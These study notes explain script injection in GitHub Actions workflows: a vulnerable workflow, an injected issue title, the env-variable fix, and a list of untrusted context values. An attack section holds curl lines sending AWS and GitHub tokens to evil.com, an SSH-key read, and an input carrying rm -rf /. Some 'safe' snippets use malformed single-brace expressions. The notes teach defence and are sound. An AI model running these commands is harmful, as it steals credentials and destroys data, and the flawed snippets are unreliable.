

So I briefly touched
on some security concerns,
or problems you might be facing when working
with GitHub actions, and adding your own Workflows.
And I wanna start with script injection,
and show you a concrete example of how a Workflow
Show more 



GitHub Actions Security: Preventing Script Injection (Complete Notes)

One of the biggest security risks in GitHub Actions is **Script Injection**. It occurs when **untrusted user input** (issue title, PR title, commit message, branch name, etc.) is directly inserted into a shell command executed by `run: .`

What is Script Injection?

GitHub Actions executes everything inside a `run:` block inside a shell (bash, PowerShell, etc.).

If user-controlled data is directly interpolated into that shell command, an attacker can inject arbitrary shell commands.

Example:

 YAML 

```
run: |  
  echo "${{ github.event.issue.title }}"
```

Looks harmless...

But if the issue title contains shell syntax, it becomes dangerous.

Vulnerable Workflow

</> YAML



```
name: Script Injection Example

on:
  issues:
    types: [opened]

jobs:
  check-issue:
    runs-on: ubuntu-latest

    steps:
      - name: Check issue title
        run: |
          issue_title="${{ github.event.issue.title }}"

          if [[ "$issue_title" == *bug* ]]; then
            echo "Issue is about a bug"
          else
            echo "Issue is not about a bug"
          fi
```

Looks perfectly normal.

Normal Execution

Suppose someone creates an issue:

Something is wrong



GitHub replaces

</> YAML



```
${{ github.event.issue.title }}
```

with

Something is wrong



The executed shell becomes

```
</> Bash
```



```
issue_title="Something is wrong"
```

Everything works.

Output

```
Issue is not about a bug
```



The Attack

Now suppose an attacker creates an issue with this title

```
A"; echo "Got your secrets"; "
```



This is a completely valid GitHub issue title.

GitHub substitutes it directly into the shell.

The shell now becomes

```
</> Bash
```



```
issue_title="A";  
echo "Got your secrets";  
""
```

The shell interprets it as

```
</> Bash
```



```
issue_title="A"  
  
echo "Got your secrets"
```

Result

```
Got your secrets
```



The attacker just injected a command into your workflow.

Visual Explanation

Safe input

Issue Title

|



"Bug in Login"

|



issue_title="Bug in Login"



Everything is inside quotes.

Malicious input

Issue Title

A"; echo "Got your secrets"; "



becomes

```
issue_title="A";  
echo "Got your secrets";  
""
```



The attacker escaped your string and started a new shell command.

Why Does This Work?

Because GitHub expressions

</> YAML

\${{ ... }}



are evaluated **before** the shell starts.

GitHub generates something like

</> Bash



```
issue_title="A";  
echo "Got your secrets";  
"""
```

Then Bash executes it.

GitHub doesn't know which part is code and which part is data.

Real Attack Example

Instead of

</> Bash



```
echo "Got your secrets"
```

the attacker could execute

</> Bash



```
curl https://evil.com?key=$AWS_ACCESS_KEY_ID
```

or

</> Bash



```
curl https://evil.com?token=$GITHUB_TOKEN
```

or

</> Bash



```
cat ~/.ssh/id_rsa
```

or

</> Bash



```
git remote -v
```

or

</> Bash



```
env
```

They can steal

- GitHub token
- AWS credentials
- Azure secrets
- Docker passwords
- SSH keys
- Repository secrets
- Environment variables

Basically anything accessible to the runner.

Dangerous Code

Never do this

</> YAML



```
run: |  
  echo "${{ github.event.issue.title }}"
```

Never do

</> YAML



```
run: |  
  TITLE="${{ github.event.issue.title }}"
```

because the interpolation still happens inside the shell script.

Safe Solution

Instead, pass user input through environment variables.

</> YAML



```
name: Safe Workflow
```

```
on:
```

```
issues:
  types: [opened]

jobs:
  check:
    runs-on: ubuntu-latest

    steps:
      - name: Check issue
        env:
          TITLE: ${ github.event.issue.title }

        run: |
          if [[ "$TITLE" == *bug* ]]; then
            echo "Issue is about a bug"
          else
            echo "Issue is not about a bug"
          fi
```

Now GitHub sets

```
TITLE=A"; echo "Got your secrets"; "
```



as an environment variable.

Bash receives

```
TITLE
```



as plain text.

It is **not** reinterpreted as shell commands.

Why Environment Variables Are Safe

GitHub handles

```
</> YAML
```



```
env:
  TITLE: ${ github.event.issue.title }
```

before the shell starts.

The shell only sees

</> Bash



```
$TITLE
```

which is treated as data, not executable code.

Even if TITLE contains

```
A"; rm -rf /
```



the shell simply stores it as a string.

Even Better Solution

Avoid shell scripting whenever possible.

Instead of

</> YAML



```
run: |  
  echo "${{ github.event.issue.title }}"
```

use a GitHub Action.

Example

</> YAML



```
- uses: actions/github-script@v8  
  with:  
    script: |  
      const title = context.payload.issue.title;  
      console.log(title);
```

Or use existing marketplace actions.

Actions treat inputs as data instead of shell commands.

Other User-Controlled GitHub Values

Never trust any GitHub context that comes from users.

Examples include:

</> YAML



```
github.event.issue.title
```

</> YAML



```
github.event.issue.body
```

</> YAML



```
github.event.pull_request.title
```

</> YAML



```
github.event.pull_request.body
```

</> YAML



```
github.event.comment.body
```

</> YAML



```
github.event.head_commit.message
```

</> YAML



```
github.ref_name
```

</> YAML



```
github.actor
```

</> YAML



```
github.event.inputs.*
```

These can all contain malicious content.

Secure Coding Guidelines

Always:

- Treat GitHub event data as **untrusted input**.
 - Pass user input through `env:` variables.
 - Quote shell variables (`"$TITLE"`).
 - Prefer GitHub Actions over inline shell scripts.
 - Avoid `eval`, command substitution, or dynamic shell execution.
 - Limit permissions using the `permissions:` key.
 - Never expose secrets to workflows triggered by untrusted users.
-

Best Practices Checklist

- ✓ Use `env:` for user-controlled values.

</> YAML



```
env:  
  TITLE: ${ github.event.issue.title }
```

- ✓ Quote variables.

</> Bash



```
echo "$TITLE"
```

- ✓ Prefer GitHub Actions instead of custom shell code.
 - ✓ Validate and sanitize user input where appropriate.
 - ✗ Never insert `${ github.event.* }` directly into shell commands.
 - ✗ Never use `eval` with user input.
 - ✗ Never assume issue titles, PR titles, or comments are safe.
-

Key Takeaways

- **Script injection** occurs when user-controlled GitHub event data is directly embedded into shell commands.

- GitHub expressions (`${{ ... }}`) are expanded **before** the shell executes, allowing malicious input to become executable code.
- Attackers can potentially execute arbitrary commands and exfiltrate secrets from the runner.
- The safest approach is to **pass untrusted values through environment variables** (`env:`) or, even better, **use GitHub Actions that treat inputs as data rather than shell code.**

